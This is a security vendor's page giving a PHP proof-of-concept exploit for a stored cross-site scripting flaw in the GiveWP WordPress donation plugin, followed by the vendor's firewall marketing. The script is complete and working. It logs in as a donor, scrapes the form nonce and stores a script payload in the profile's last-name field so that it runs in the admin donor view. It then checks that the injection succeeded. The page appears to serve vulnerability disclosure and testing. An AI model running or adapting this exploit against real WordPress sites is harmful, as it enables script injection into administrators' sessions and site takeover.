By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-73357 - GiveWP – Donation Plugin and Fundraising Platform < 4.16.6 - Authenticated (Donor+) Stored Cross-Site Scripting

$target_url = 'http://your-wordpress-site.com'; // Change to your target URL
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$donor_profile_url = $target_url . '/donor-profile/';

$username = 'donor_user'; // Your donor username
$password = 'donor_password'; // Your donor password

$xss_payload = '</span><script>alert(1)</script>'; // XSS payload to inject

// Step 1: Login as a donor to obtain session cookies.
$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Retrieve the donor profile edit page to get the nonce.
$ch = curl_init($donor_profile_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
curl_close($ch);

if (preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches)) {
    $nonce = $matches[1];
} else {
    die('Could not find nonce.');
}

// Step 3: Update the donor profile with the XSS payload in the 'name' field.
$ch = curl_init($donor_profile_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    '_wpnonce' => $nonce,
    'give_profile_editor_submit' => 'Save',
    'give_profile_first' => 'ValidName',
    'give_profile_last' => $xss_payload,
    'give_profile_email' => '', // Fill with your email if required
    'give_profile_address1' => '',
    'give_profile_address2' => '',
    'give_profile_address3' => '',
    'give_profile_zip' => '',
    'give_profile_country' => '',
    'give_profile_state' => '',
    'give_profile_city' => ''
]));
$response = curl_exec($ch);
curl_close($ch);

// Step 4: Verify the injected payload is stored by visiting the admin donor page.
$admin_donors_url = $target_url . '/wp-admin/edit.php?post_type=give_forms&page=give-donors';
$ch = curl_init($admin_donors_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
curl_close($ch);

if (strpos($response, $xss_payload) !== false) {
    echo "[+] XSS payload stored successfully. Check the donor's notes/delete page for execution.n";
} else {
    echo "[-] Exploitation failed. The payload may have been sanitized or the profile update failed.n";
}

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.